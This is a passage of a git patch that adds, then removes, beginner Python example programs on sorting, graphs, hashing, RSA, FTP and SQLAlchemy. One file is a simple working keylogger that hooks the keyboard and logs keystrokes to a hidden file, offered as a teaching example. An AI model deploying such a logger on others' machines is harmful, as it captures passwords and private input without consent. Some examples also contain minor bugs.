million. This algorithm is very efficient and fast and hence is preferred by many competitive programmers. + +# Algo: +# 1. Create a list of consecutive integers from 2 to n: (2, 3, 4, …, n). +# 2. Initially, let p equal 2, the first prime number. +# 3. Starting from p, count up in increments of p and mark each of these numbers greater than p itself in the list. +# These numbers will be 2p, 3p, 4p, etc.; note that some of them may have already been marked. +# 4. Find the first number greater than p in the list that is not marked. If there was no such number, stop. Otherwise, +# let p now equal this number (which is the next prime), and repeat from step 3. +# When the algorithm terminates, all the numbers in the list that are not marked are prime. + +def SieveOfEratosthenes(n): + primes = [True] * (n + 1) + p = 2 # because p is the smallest prime + + while(p * p <= n): + # if p is not marked as False, this it is a prime + if(primes[p]) == True: + # mark all the multiples of number as False + for i in range(p * 2, n + 1, p): + primes[i] = False + + p += 1 + + # printing all primes + for i in range(2, n): + if primes[i]: + print(i) + +if __name__ == '__main__': + SieveOfEratosthenes(1000) diff --git a/Programs/Test/P68_TopologicalSort.py b/Programs/Test/P68_TopologicalSort.py new file mode 100644 index 0000000..c7db7a4 --- /dev/null +++ b/Programs/Test/P68_TopologicalSort.py @@ -0,0 +1,66 @@ +# Author: OMKAR PATHAK + +# Time Complexity: O(|V| + |E|) +# One important point to remember is that topological sort can be applied only to acyclic graph. + +class Graph(): + def __init__(self, count): + self.vertex = {} + self.count = count # vertex count + + # for printing the Graph vertexes + def printGraph(self): + for i in self.vertex.keys(): + print(i,' -> ', ' -> '.join([str(j) for j in self.vertex[i]])) + + # for adding the edge beween two vertexes + def addEdge(self, fromVertex, toVertex): + # check if vertex is already present, + if fromVertex in self.vertex.keys(): + self.vertex[fromVertex].append(toVertex) + else: + # else make a new vertex + self.vertex[fromVertex] = [toVertex] + self.vertex[toVertex] = [] + + def topologicalSort(self): + visited = [False] * self.count # Marking all vertices as not visited + stack = [] # Stack for storing the vertex + for vertex in range(self.count): + # Call the recursive function only if not visited + if visited[vertex] == False: + self.topologicalSortRec(vertex, visited, stack) + + print(' '.join([str(i) for i in stack])) + # print(stack) + + # Recursive function for topological Sort + def topologicalSortRec(self, vertex, visited, stack): + + # Mark the current node in visited + visited[vertex] = True + + # mark all adjacent nodes of the current node + try: + for adjacentNode in self.vertex[vertex]: + if visited[adjacentNode] == False: + self.topologicalSortRec(adjacentNode, visited, stack) + except KeyError: + return + + # Push current vertex to stack which stores the result + stack.insert(0,vertex) + +if __name__ == '__main__': + g= Graph(6) + g.addEdge(5, 2) + g.addEdge(5, 0) + g.addEdge(4, 0) + g.addEdge(4, 1) + g.addEdge(2, 3) + g.addEdge(3, 1) + # g.printGraph() + g.topologicalSort() + + # OUTPUT: + # 5 4 2 3 1 0 diff --git a/Programs/Test/P69_ReverseWords.py b/Programs/Test/P69_ReverseWords.py new file mode 100644 index 0000000..8c69e0e --- /dev/null +++ b/Programs/Test/P69_ReverseWords.py @@ -0,0 +1,12 @@ +# Author: OMKAR PATHAK + +# Python program to reverse the words + +userInput = input() +userInput = userInput.split() + +print(' '.join(userInput[::-1])) + +# OUTPUT: +# Computer Science +# Science Computer diff --git a/Programs/Test/P70_SimpleProgressBar.py b/Programs/Test/P70_SimpleProgressBar.py new file mode 100644 index 0000000..ee03455 --- /dev/null +++ b/Programs/Test/P70_SimpleProgressBar.py @@ -0,0 +1,18 @@ +# This is the program for creating a simple progress bar. You may need this in many of your projects. +# You can install a module for progress bar by 'pip3 install progressbar2' + +import sys, time + +def progressBar(count, total, suffix=''): + barLength = 60 + filledLength = int(round(barLength * count / float(total))) + + percent = round(100.0 * count / float(total), 1) + bar = '=' * filledLength + '-' * (barLength - filledLength) + + sys.stdout.write('[%s] %s%s ...%s\r' % (bar, percent, '%', suffix)) + sys.stdout.flush() + +for i in range(10): + time.sleep(1) + progressBar(i, 10) diff --git a/Programs/Test/P71_PythonUnittest.py b/Programs/Test/P71_PythonUnittest.py new file mode 100644 index 0000000..b5ef685 --- /dev/null +++ b/Programs/Test/P71_PythonUnittest.py @@ -0,0 +1,44 @@ +# Author: OMKAR PATHAK + +# This module helps to build the testcases for a particular program to test its integrity and overall execution + +import unittest + +def checkPrime(number): + '''This function checks if the number is a prime number''' + if number == 2: + return True + if number > 2: + for i in range(2, number): + if number % i == 0: + return False + break + else: + return True + break + else: + return False + +# Class for providing test cases +class CheckPrime(unittest.TestCase): + + def test_checkPrime(self): + self.assertEqual(checkPrime(3), True) # Check if the function returns the value specified in the second argument + + def test_checkPrime2(self): + self.assertTrue(checkPrime(5)) # Check if the function returns True + self.assertFalse(checkPrime(4)) # Check if the function returns False + + def test_checkPrime3(self): + # Check that providing a string input produces an error + with self.assertRaises(TypeError): + checkPrime('1') + +if __name__ == '__main__': + unittest.main() + + # OUTPUT: + # ---------------------------------------------------------------------- + # Ran 3 tests in 0.000s + #   + # OK diff --git a/Programs/Test/P72_PythonLambda.py b/Programs/Test/P72_PythonLambda.py new file mode 100644 index 0000000..67fc881 --- /dev/null +++ b/Programs/Test/P72_PythonLambda.py @@ -0,0 +1,33 @@ +# Author: OMKAR PATHAK + +# In this program we will learn what Python lambda is. +# The lambda operator or lambda function is a way to create small anonymous functions, i.e. functions without +# a name. These functions are throw-away functions, i.e. they are just needed where they have been created. +# Lambda functions are mainly used in combination with the functions filter(), map() and reduce(). The lambda +# feature was added to Python due to the demand from Lisp programmers. + +# The argument list consists of a comma separated list of arguments and the expression is an arithmetic +# expression using these arguments. You can assign the function to a variable to give it a name. +# The following example of a lambda function returns the sum of its two arguments: + +myFunc = lambda x, y: x * y + +print(myFunc(2, 3)) #output: 6 + +#Here we are directly creating the function and passing the arguments +print((lambda x, y: x * y)(2, 3)) #same output i.e 6 + +print(type(lambda x, y: x * y)) #Output: + +# example to find squares of all numbers of a list +myList = [i for i in range(10)] + +# returns square of each number +myFunc2 = lambda x: x * x + +squares = list(map(myFunc2, myList)) +print(squares) # Output: [0, 1, 4, 9, 16, 25, 36, 49, 64, 81] + +print(list(map(lambda x: x * x, myList))) #same as above + + diff --git a/Programs/Test/P73_SimplePythonEncryption.py b/Programs/Test/P73_SimplePythonEncryption.py new file mode 100644 index 0000000..f898416 --- /dev/null +++ b/Programs/Test/P73_SimplePythonEncryption.py @@ -0,0 +1,27 @@ +# Author: OMKAR PATHAK + +# This program illustrates a simple Python encryption example using the RSA Algotrithm + +# RSA is an algorithm used by modern computers to encrypt and decrypt messages. It is an asymmetric +# cryptographic algorithm. Asymmetric means that there are two different keys (public and private). + +# For installation: sudo pip3 install pycrypto + +from Crypto.PublicKey import RSA +from Crypto import Random + +randomGenerator = Random.new().read +# Generating a private key and a public key +# key stores both the keys +key = RSA.generate(1024, randomGenerator) # 1024 is the size of the key in bits +print(key) # Prints private key +print(key.publickey()) # Prints public key + +# Encryption using Public Key +publicKey = key.publickey() +encryptedData = publicKey.encrypt('My name is Omkar Pathak'.encode('utf-8'), 32) +print(encryptedData) + +# Decryption using Private Key +decryptedData = key.decrypt(encryptedData) +print(decryptedData) diff --git a/Programs/Test/P74_PythonGenerators.py b/Programs/Test/P74_PythonGenerators.py new file mode 100644 index 0000000..16333bf --- /dev/null +++ b/Programs/Test/P74_PythonGenerators.py @@ -0,0 +1,18 @@ +# Author: OMKAR PATHAK + +# A Python generator is a function which returns a generator iterator (just an object we can iterate over) +# by calling yield + +def simpleGenerator(numbers): + i = 0 + while True: + check = input('Wanna generate a number? (If yes, press y else n): ') + if check in ('Y', 'y') and len(numbers) > i: + yield numbers[i] + i += 1 + else: + print('Bye!') + break + +for number in simpleGenerator([10, 11, 12, 14]): + print(number) diff --git a/Programs/Test/P75_TicTacToe.py b/Programs/Test/P75_TicTacToe.py new file mode 100644 index 0000000..a8dcee4 --- /dev/null +++ b/Programs/Test/P75_TicTacToe.py @@ -0,0 +1,75 @@ +# Author: OMKAR PATHAK + +# A simple example of tic tac toe game + +# For storing user choices +choices = [] + +# For initializing the board with numbers +for i in range(0, 9): + choices.append(str(i)) + +firstPlayer = True +winner = False +iterations = 0 # To terminate the loop + +# For drawing board on to the terminal +def printBoard(): + print('\n=============') + print('| ' + choices[0] + ' | ' + choices[1] + ' | ' + choices[2] + ' |') + print('=============') + print('| ' + choices[3] + ' | ' + choices[4] + ' | ' + choices[5] + ' |') + print('=============') + print('| ' + choices[6] + ' | ' + choices[7] + ' | ' + choices[8] + ' |') + print('=============\n') + +# Play the game while the winner is not decided or the game is drawn +while not winner and iterations < 9: + printBoard() + + iterations += 1 + + if firstPlayer == True: + print('Player 1: ', end = '') + else: + print('Player 2: ', end = '') + + try: + playerInput = int(input()) + except: + print('Please enter a valid number from the board') + continue + + # Check if userInput already has 'X' or 'O' + if choices[playerInput] == 'X' or choices[playerInput] == 'O': + print('Illegal move, try again!') + continue + + if firstPlayer: + choices[playerInput] = 'X' + else: + choices[playerInput] = 'O' + + firstPlayer = not firstPlayer + + # Winning conditions + for index in range(0, 3): + # For [0,1,2], [3,4,5], [6,7,8] + if (choices[index * 3] == choices[((index * 3) + 1)] and choices[index * 3] == choices[((index * 3) + 2)]): + winner = True + printBoard() + + # For [0,3,6], [1,4,7], [2,5,8] + if(choices[index] == choices[index + 3] and choices[index + 3] == choices[index + 6]): + winner = True + printBoard() + + if((choices[0] == choices[4] and choices[4] == choices[8]) or + (choices[2] == choices[4] and choices[4] == choices[6])): + winner = True + printBoard() + +if winner: + print('Player ' + str(int(firstPlayer + 1)) + ' wins!') +else: + print('Game drawn') diff --git a/Programs/Test/P76_PythonFTP.py b/Programs/Test/P76_PythonFTP.py new file mode 100644 index 0000000..38c35dc --- /dev/null +++ b/Programs/Test/P76_PythonFTP.py @@ -0,0 +1,36 @@ +# Author: OMKAR PATHAK + +# For transfering files to your another/local computer, you will have to install a FTP +# Daemon. Execute following for doing the same: +# 1. sudo apt-get install vsftpd +# 2. service vsftpd start +# 3. sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.orig +# 4. sudo nano /etc/vsftpd.conf + +# Now change the following settings in that file: +# +# anonymous_enable=NO # disable anonymous login +# local_enable=YES # permit local logins +# write_enable=YES # enable FTP commands which change the filesystem +# local_umask=022 # value of umask for file creation for local users +# dirmessage_enable=YES # enable showing of messages when users first enter a new directory +# xferlog_enable=YES # a log file will be maintained detailing uploads and downloads +# connect_from_port_20=YES # use port 20 (ftp-data) on the server machine for PORT style connections +# xferlog_std_format=YES # keep standard log file format +# listen=NO # prevent vsftpd from running in standalone mode +# listen_ipv6=YES # vsftpd will listen on an IPv6 socket instead of an IPv4 one +# pam_service_name=vsftpd # name of the PAM service vsftpd will use +# userlist_enable=YES # enable vsftpd to load a list of usernames +# tcp_wrappers=YES # turn on tcp wrappers + +import ftplib + +def ftp_upload(ftpObj, pathToSend, pathToRecv, fileType='TXT'): + """ + A function for uploading files to an FTP server + @param ftpObj: The file transfer protocol object + @param path: The path to the file to upload + """ + with open(pathToSend, 'rb') as fobj: + ftpObj.storlines('STOR ' + pathToRecv, fobj) + diff --git a/Programs/Test/P77_FileSearching.py b/Programs/Test/P77_FileSearching.py new file mode 100644 index 0000000..a651b5c --- /dev/null +++ b/Programs/Test/P77_FileSearching.py @@ -0,0 +1,51 @@ +# Author: OMKAR PATHAK + +# This program will help us implement concepts such as binary searching, operating system. +# P.S: Dont run this on root. That is dont give the DIRECTORY path as root else the program might +# consume all your resources and your system might get crashed + +import os +from pathlib import Path + +DIRECTORY = '/home/omkarpathak/Desktop' + +# List all the directories in the DIRECTORY +dirs = [name for name in os.listdir(DIRECTORY) if os.path.isdir(os.path.join(DIRECTORY, name))] + +# List all the files in the DIRECTORY +# files = [name for name in os.listdir(DIRECTORY) if os.path.isfile(os.path.join(DIRECTORY, name))] +files = [] + +for root, dirs, files in os.walk(DIRECTORY): + for File in files: + files.append(root + File) + +dirs.sort() +files.sort() + +def binarySearch(target, List): + '''This function performs a binary search on a sorted list and returns the position if successful else returns -1''' + left = 0 #First position of the list + right = len(List) - 1 #Last position of the list + global iterations + iterations = 0 + + while left <= right: #U can also write while True condition + iterations += 1 + mid = (left + right) // 2 + if target == List[mid]: + return mid, List[mid] + elif target < List[mid]: + right = mid - 1 + else: + left = mid + 1 + return -1 + +print(dirs) +print(files) + +try: + result, filePath = binarySearch('server.py', files) + print(os.path.abspath(filePath)) +except: + print('File not found') diff --git a/Programs/Test/P78_HashTable.py b/Programs/Test/P78_HashTable.py new file mode 100644 index 0000000..c4aaf61 --- /dev/null +++ b/Programs/Test/P78_HashTable.py @@ -0,0 +1,40 @@ +# Author: OMKAR PATHAK + +# In computing, a hash table (hash map) is a data structure which implements an associative array abstract +# data type, a structure that can map keys to values. A hash table uses a hash function to compute an index +# into an array of buckets or slots, from which the desired value can be found. + +# Python's built-in data type dictionary uses hash tables to retrieve key value pairs. + +class HashMap(object): + def __init__(self): + self.hash_map = [[(None, None)] for _ in range(10)] + + def insert(self, key, value): + hash_key = hash(key) % len(self.hash_map) + key_exists = 0 + hash_list = self.hash_map[hash_key] + # print(key, value) + for i, key_value_pair in enumerate(hash_list): + key_in_table, value_in_table = key_value_pair + if key == key_in_table or key_in_table == None: + key_exists = 1 + if key_exists: + hash_list[i] = ((key, value)) + else: + hash_list.append((key, value)) + + def get(self, key): + hash_key = hash(key) % len(self.hash_map) + hash_list = self.hash_map[hash_key] + for i, key_value in enumerate(hash_list): + key_in_table, value_in_table = key_value + return value_in_table + raise KeyError + +if __name__ == '__main__': + myDict = HashMap() + myDict.insert('Omkar', 'Pathak') + myDict.insert('Jagdish', 'Pathak') + value = myDict.get('Omkar') + print(value) diff --git a/Programs/Test/P79_SimplePythonKeylogger.py b/Programs/Test/P79_SimplePythonKeylogger.py new file mode 100644 index 0000000..ff08573 --- /dev/null +++ b/Programs/Test/P79_SimplePythonKeylogger.py @@ -0,0 +1,49 @@ +# Author: OMKAR PATHAK + +# This file requires two modules to be installed: +# 1. pyxhook.py: file is provided in the folder itself +# 2. Xlib: sudo pip3 install python3-Xlib + +import pyxhook +import time + +# functions to write a newline character into the file +def newline(): + file = open('.keylogger', 'a') + file.write('\n') + file.close() + +# This function is called every time a key is pressed +def key_press_event(event): + global running + # write the key pressed into a file + if event.Key != 'space' and event.Key != 'Escape': + with open('.keylogger', 'a+') as File: + File.write(event.Key) + + # If the ascii value matches spacebar, add a newline in the file + if event.Key == 'space': + newline() + + # If the ascii value matches escape, terminate the while loop + if event.Key == 'Escape': + running = False + newline() + +if __name__ == '__main__': + # Create hookmanager + hookman = pyxhook.HookManager() + # Define our callback to fire when a key is pressed down + hookman.KeyDown = key_press_event + # Hook the keyboard + hookman.HookKeyboard() + # Start our listener + hookman.start() + + # Create a loop to keep the application running + running = True + while running: + time.sleep(0.1) + + # Close the listener when we are done + hookman.cancel() diff --git a/Programs/Test/P80_SQLAlchemyTutorial.py b/Programs/Test/P80_SQLAlchemyTutorial.py new file mode 100644 index 0000000..f031635 --- /dev/null +++ b/Programs/Test/P80_SQLAlchemyTutorial.py @@ -0,0 +1,61 @@ +# Author: OMKAR PATHAK +# This is a simple tutorial on usinng SQLAlchemy as ORM (Object Relational Mapping) + +# Make sure you have installed SQLAlchemy using: pip3 install sqlalchemy + +from sqlalchemy import ( + create_engine, + Column, + Integer, + String +) + +from sqlalchemy.ext.declarative import declarative_base +from sqlalchemy.orm import sessionmaker +import os + + +# create a sqlite db +engine = create_engine('sqlite:///example.db', echo=True) +Base = declarative_base() + + +class Student(Base): + __tablename__ = "student" + + id = Column(Integer, primary_key=True) + username = Column(String) + firstname = Column(String) + lastname = Column(String) + university = Column(String) + + def __init__(self, username, firstname, lastname, university): + self.username = username + self.firstname = firstname + self.lastname = lastname + self.university = university + + +def create_tables(): + # create tables + Base.metadata.create_all(engine) + + +if __name__ == '__main__': + sqlite_file = 'example.db' + file_exists = os.path.isfile(sqlite_file) + if not file_exists: + create_tables() + Session = sessionmaker(bind=engine) + session = Session() + + # Create objects + user = Student('OmkarPathak', 'Omkar', 'Pathak', 'MIT') + session.add(user) + + # commit the record the database + session.commit() + + # Select objects + for student in session.query(Student).order_by(Student.id): + print (student.firstname, student.lastname) From f25a89f136af5bb5fc7337ebf1e2140a36b3e325 Mon Sep 17 00:00:00 2001 From: Sindhuja-G Date: Thu, 5 Feb 2026 17:54:24 +0530 Subject: [PATCH 3/3] Added 33 file changes --- Programs/Test/P19_SimpleStopWatch.py | 45 ++++++ Programs/Test/P20_OsModule.py | 13 ++ Programs/Test/P21_GuessTheNumber.py | 24 ++++ Programs/Test/P22_SequentialSearch.py | 23 +++ Programs/Test/P23_BinarySearch.py | 29 ++++ Programs/Test/P24_SelectionSort.py | 21 +++ Programs/Test/P25_BubbleSort.py | 24 ++++ Programs/Test/P26_InsertionSort.py | 25 ++++ Programs/Test/P27_MergeSort.py | 42 ++++++ Programs/Test/P28_QuickSort.py | 65 +++++++++ Programs/Test/P29_ArgumentParser.py | 21 +++ Programs/Test/P30_Array.py | 107 ++++++++++++++ Programs/Test/P60_PickleModule.py | 32 ----- Programs/Test/P61_AddressBook.py | 150 -------------------- Programs/Test/P62_BinaryTree.py | 82 ----------- Programs/Test/P63_Graph.py | 80 ----------- Programs/Test/P64_DepthFirstTraversal.py | 82 ----------- Programs/Test/P65_BreadthFirstTraversal.py | 51 ------- Programs/Test/P66_HeapSort.py | 50 ------- Programs/Test/P67_SieveOfEratosthenes.py | 34 ----- Programs/Test/P68_TopologicalSort.py | 66 --------- Programs/Test/P69_ReverseWords.py | 12 -- Programs/Test/P70_SimpleProgressBar.py | 18 --- Programs/Test/P71_PythonUnittest.py | 44 ------ Programs/Test/P72_PythonLambda.py | 33 ----- Programs/Test/P73_SimplePythonEncryption.py | 27 ---- Programs/Test/P74_PythonGenerators.py | 18 --- Programs/Test/P75_TicTacToe.py | 75 ---------- Programs/Test/P76_PythonFTP.py | 36 ----- Programs/Test/P77_FileSearching.py | 51 ------- Programs/Test/P78_HashTable.py | 40 ------ Programs/Test/P79_SimplePythonKeylogger.py | 49 ------- Programs/Test/P80_SQLAlchemyTutorial.py | 61 -------- 33 files changed, 439 insertions(+), 1091 deletions(-) create mode 100644 Programs/Test/P19_SimpleStopWatch.py create mode 100644 Programs/Test/P20_OsModule.py create mode 100644 Programs/Test/P21_GuessTheNumber.py create mode 100644 Programs/Test/P22_SequentialSearch.py create mode 100644 Programs/Test/P23_BinarySearch.py create mode 100644 Programs/Test/P24_SelectionSort.py create mode 100644 Programs/Test/P25_BubbleSort.py create mode 100644 Programs/Test/P26_InsertionSort.py create mode 100644 Programs/Test/P27_MergeSort.py create mode 100644 Programs/Test/P28_QuickSort.py create mode 100644 Programs/Test/P29_ArgumentParser.py create mode 100644 Programs/Test/P30_Array.py delete mode 100644 Programs/Test/P60_PickleModule.py delete mode 100644 Programs/Test/P61_AddressBook.py delete mode 100644 Programs/Test/P62_BinaryTree.py delete mode 100644 Programs/Test/P63_Graph.py delete mode 100644 Programs/Test/P64_DepthFirstTraversal.py delete mode 100644 Programs/Test/P65_BreadthFirstTraversal.py delete mode 100644 Programs/Test/P66_HeapSort.py delete mode 100644 Programs/Test/P67_SieveOfEratosthenes.py delete mode 100644 Programs/Test/P68_TopologicalSort.py delete mode 100644 Programs/Test/P69_ReverseWords.py delete mode 100644 Programs/Test/P70_SimpleProgressBar.py delete mode 100644 Programs/Test/P71_PythonUnittest.py delete mode 100644 Programs/Test/P72_PythonLambda.py delete mode 100644 Programs/Test/P73_SimplePythonEncryption.py delete mode 100644 Programs/Test/P74_PythonGenerators.py delete mode 100644 Programs/Test/P75_TicTacToe.py delete mode 100644 Programs/Test/P76_PythonFTP.py delete mode 100644 Programs/Test/P77_FileSearching.py delete mode 100644 Programs/Test/P78_HashTable.py delete mode 100644 Programs/Test/P79_SimplePythonKeylogger.py delete mode 100644 Programs/Test/P80_SQLAlchemyTutorial.py diff --git a/Programs/Test/P19_SimpleStopWatch.py b/Programs/Test/P19_SimpleStopWatch.py new file mode 100644 index 0000000..bbbff67 --- /dev/null +++ b/Programs/Test/P19_SimpleStopWatch.py @@ -0,0 +1,45 @@ +#Author: OMKAR PATHAK +#This program illustrates a stopwatch + +import time + +print('Press ENTER to begin, Press Ctrl + C to stop') +while True: + try: + input() #For ENTER + starttime = time.time() + print('Started') + except KeyboardInterrupt: + print('Stopped') + endtime = time.time() + print('Total Time:', round(endtime - starttime, 2),'secs') + break +# Press enter to start and stop the watch +""" +import time + +print('Press Enter to begin, Press Enter again to stop') +if input()=='': + starttime = time.time() + print('Started') + while True: + val=input() #For ENTER + if val=='': + print('Stopped') + endtime = time.time() + print('Total Time:', round(endtime - starttime, 2),'secs') + break + +""" + +""" +Output: +Press Enter to begin, Press Enter again to stop + +Started + +Stopped +Total Time: 1.05 secs + +""" + diff --git a/Programs/Test/P20_OsModule.py b/Programs/Test/P20_OsModule.py new file mode 100644 index 0000000..3c2a771 --- /dev/null +++ b/Programs/Test/P20_OsModule.py @@ -0,0 +1,13 @@ +#Author: OMKAR PATHAK +#This program illustrates the example for os module in short + +import os +import time + +print(os.getcwd()) #Prints the current working directory + +os.mkdir('newDir1') +for i in range(1,10): + print('Here i is',i) + os.rename('newDir' + str(i),'newDir' + str(i + 1)) + time.sleep(2) diff --git a/Programs/Test/P21_GuessTheNumber.py b/Programs/Test/P21_GuessTheNumber.py new file mode 100644 index 0000000..f1f2c2d --- /dev/null +++ b/Programs/Test/P21_GuessTheNumber.py @@ -0,0 +1,24 @@ +#Author: OMKAR PATHAK +#This program guesses the randomnly generated number + + +import random + +def guess(): + ''' This function guesses the randomnly generated number ''' + randomNumber = random.randint(0, 21) + count = 0 + + while True: + count += 1 + number = int(input('Enter the number between 0 to 20: ')) + if number < randomNumber: + print('Too small') + elif number > randomNumber: + print('Too large') + else: + print('You have got it in', count, 'tries') + break + +if __name__ == '__main__': + guess() diff --git a/Programs/Test/P22_SequentialSearch.py b/Programs/Test/P22_SequentialSearch.py new file mode 100644 index 0000000..51a63d9 --- /dev/null +++ b/Programs/Test/P22_SequentialSearch.py @@ -0,0 +1,23 @@ +#Author: OMKAR PATHAK +#This program is an example for sequential search + +def sequentialSearch(target, List): + '''This function returns the position of the target if found else returns -1''' + position = 0 + global iterations + iterations = 0 + while position < len(List): + iterations += 1 + if target == List[position]: + return position + position += 1 + return -1 + +if __name__ == '__main__': + List = [1, 2, 3, 4, 5, 6, 7, 8] + target = 3 + ans = sequentialSearch(target, List) + if ans != -1: + print('Target found at position:',ans,'in',iterations,'iterations') + else: + print('Target not found in the list') diff --git a/Programs/Test/P23_BinarySearch.py b/Programs/Test/P23_BinarySearch.py new file mode 100644 index 0000000..5d41162 --- /dev/null +++ b/Programs/Test/P23_BinarySearch.py @@ -0,0 +1,29 @@ +#Author: OMKAR PATHAK +#This programs give an example of binary search algorithm + +def binarySearch(target, List): + '''This function performs a binary search on a sorted list and returns the position if successful else returns -1''' + left = 0 #First position of the list + right = len(List) - 1 #Last position of the list + global iterations + iterations = 0 + + while left <= right: #U can also write while True condition + iterations += 1 + mid = (left + right) // 2 + if target == List[mid]: + return mid + elif target < List[mid]: + right = mid - 1 + else: + left = mid + 1 + return -1 + +if __name__ == '__main__': + List = [1, 2, 3, 4, 5, 6, 7, 8, 9, 11, 12, 13, 14] + target = 2 + ans = binarySearch(target, List) + if(ans != -1): + print('Target found at position:',ans,'in',iterations,'iterations') + else: + print('Target not found') diff --git a/Programs/Test/P24_SelectionSort.py b/Programs/Test/P24_SelectionSort.py new file mode 100644 index 0000000..4b2a35e --- /dev/null +++ b/Programs/Test/P24_SelectionSort.py @@ -0,0 +1,21 @@ +#Author: OMKAR PATHAK +#This program shows an example of selection sort + +#Selection sort iterates all the elements and if the smallest element in the list is found then that number +#is swapped with the first + +#Best O(n^2); Average O(n^2); Worst O(n^2) + +def selectionSort(List): + for i in range(len(List) - 1): #For iterating n - 1 times + minimum = i + for j in range( i + 1, len(List)): # Compare i and i + 1 element + if(List[j] < List[minimum]): + minimum = j + if(minimum != i): + List[i], List[minimum] = List[minimum], List[i] + return List + +if __name__ == '__main__': + List = [3, 4, 2, 6, 5, 7, 1, 9] + print('Sorted List:',selectionSort(List)) diff --git a/Programs/Test/P25_BubbleSort.py b/Programs/Test/P25_BubbleSort.py new file mode 100644 index 0000000..4aab5da --- /dev/null +++ b/Programs/Test/P25_BubbleSort.py @@ -0,0 +1,24 @@ +#Author: OMKAR PATHAK +#This program shows an example of bubble sort using Python + +# Bubblesort is an elementary sorting algorithm. The idea is to +# imagine bubbling the smallest elements of a (vertical) array to the +# top; then bubble the next smallest; then so on until the entire +# array is sorted. Bubble sort is worse than both insertion sort and +# selection sort. It moves elements as many times as insertion sort +# (bad) and it takes as long as selection sort (bad). On the positive +# side, bubble sort is easy to understand. Also there are highly +# improved variants of bubble sort. + +# Best O(n^2); Average O(n^2); Worst O(n^2) + +def bubbleSort(List): + for i in range(len(List)): + for j in range(len(List) - 1, i, -1): + if List[j] < List[j - 1]: + List[j], List[j - 1] = List[j - 1], List[j] + return List + +if __name__ == '__main__': + List = [3, 4, 2, 6, 5, 7, 1, 9] + print('Sorted List:',bubbleSort(List)) diff --git a/Programs/Test/P26_InsertionSort.py b/Programs/Test/P26_InsertionSort.py new file mode 100644 index 0000000..c120cc4 --- /dev/null +++ b/Programs/Test/P26_InsertionSort.py @@ -0,0 +1,25 @@ +#Author: OMKAR PATHAK +#This program shows an example of insertion sort using Python + +# Insertion sort is good for collections that are very small +# or nearly sorted. Otherwise it's not a good sorting algorithm: +# it moves data around too much. Each time an insertion is made, +# all elements in a greater position are shifted. + +# Best O(n); Average O(n^2); Worst O(n^2) + +def insertionSort(List): + for i in range(1, len(List)): + currentNumber = List[i] + for j in range(i - 1, -1, -1): + if List[j] > currentNumber : + List[j], List[j + 1] = List[j + 1], List[j] + else: + List[j + 1] = currentNumber + break + + return List + +if __name__ == '__main__': + List = [3, 4, 2, 6, 5, 7, 1, 9] + print('Sorted List:',insertionSort(List)) diff --git a/Programs/Test/P27_MergeSort.py b/Programs/Test/P27_MergeSort.py new file mode 100644 index 0000000..2ecf8ce --- /dev/null +++ b/Programs/Test/P27_MergeSort.py @@ -0,0 +1,42 @@ +#Author: OMKAR PATHAK +#This program gives an example of Merge sort + +# Merge sort is a divide and conquer algorithm. In the divide and +# conquer paradigm, a problem is broken into pieces where each piece +# still retains all the properties of the larger problem -- except +# its size. To solve the original problem, each piece is solved +# individually; then the pieces are merged back together. + +# Best = Average = Worst = O(nlog(n)) + +def merge(a,b): + """ Function to merge two arrays """ + c = [] + while len(a) != 0 and len(b) != 0: + if a[0] < b[0]: + c.append(a[0]) + a.remove(a[0]) + else: + c.append(b[0]) + b.remove(b[0]) + if len(a) == 0: + c += b + else: + c += a + return c + +# Code for merge sort + +def mergeSort(x): + """ Function to sort an array using merge sort algorithm """ + if len(x) == 0 or len(x) == 1: + return x + else: + middle = len(x)//2 + a = mergeSort(x[:middle]) + b = mergeSort(x[middle:]) + return merge(a,b) + +if __name__ == '__main__': + List = [3, 4, 2, 6, 5, 7, 1, 9] + print('Sorted List:',mergeSort(List)) diff --git a/Programs/Test/P28_QuickSort.py b/Programs/Test/P28_QuickSort.py new file mode 100644 index 0000000..ad11e64 --- /dev/null +++ b/Programs/Test/P28_QuickSort.py @@ -0,0 +1,65 @@ +#Author: OMKAR PATHAK +#This program illustrates an example of quick sort + +# Quicksort works by selecting an element called a pivot and splitting +# the array around that pivot such that all the elements in, say, the +# left sub-array are less than pivot and all the elements in the right +# sub-array are greater than pivot. The splitting continues until the +# array can no longer be broken into pieces. That's it. Quicksort is +# done. + +# Best = Average = O(nlog(n)); Worst = O(n^2 +import time + +def quickSort(myList, start, end): + if start < end: + # partition the list + pivot = partition(myList, start, end) + # sort both halves + quickSort(myList, start, pivot-1) + quickSort(myList, pivot+1, end) + return myList + +def partition(myList, start, end): + pivot = myList[start] + left = start+1 + right = end + done = False + while not done: + while left <= right and myList[left] <= pivot: + left = left + 1 + while myList[right] >= pivot and right >=left: + right = right -1 + if right < left: + done= True + else: + # swap places + temp=myList[left] + myList[left]=myList[right] + myList[right]=temp + # swap start with myList[right] + temp=myList[start] + myList[start]=myList[right] + myList[right]=temp + return right + +# A more efficient solution +def quicksortBetter(arr): + if len(arr) <= 1: + return arr + pivot = arr[len(arr) // 2] + left = [x for x in arr if x < pivot] + middle = [x for x in arr if x == pivot] + right = [x for x in arr if x > pivot] + return quicksortBetter(left) + middle + quicksortBetter(right) + +if __name__ == '__main__': + List = [3, 4, 2, 6, 5, 7, 1, 9] + start = time.time() + print('Sorted List:',quickSort(List, 0, len(List) - 1)) + stop = time.time() + print('Time Required:', (stop - start)) + start = time.time() + print('Sorted List:', quicksortBetter(List)) + stop = time.time() + print('Time Required:', (stop - start)) diff --git a/Programs/Test/P29_ArgumentParser.py b/Programs/Test/P29_ArgumentParser.py new file mode 100644 index 0000000..15a5968 --- /dev/null +++ b/Programs/Test/P29_ArgumentParser.py @@ -0,0 +1,21 @@ +#Author: OMKAR PATHAK +#In this example w will see the example for Python argument parser + +import argparse + +def argumentParser(): + parser = argparse.ArgumentParser() + parser.add_argument('-s', '--slowbros', help = 'Names of Slowbros', action = 'store_true') + arg = parser.parse_args() + if(arg.slowbros): + slowBros() + else: + print('Dude give some arguments! Type ArgumentParser -h for more details') + + +def slowBros(): + print('SLOWBROS MEMBERS: \nOmkar Pathak\nChinmaya Kaundanya\nAkash Nalawade\nSanket Parode') + + +if __name__ == '__main__': + argumentParser() diff --git a/Programs/Test/P30_Array.py b/Programs/Test/P30_Array.py new file mode 100644 index 0000000..a4728c5 --- /dev/null +++ b/Programs/Test/P30_Array.py @@ -0,0 +1,107 @@ +#Author: OMKAR PATHAK +#This example illustrates how an array can be implemened using Python + +class Array(object): + def __init__(self, size, defaultValue = None): + ''' + size: indicates the static size of the Array + defaultValue indicates the default value that Array takes while creation, you can also 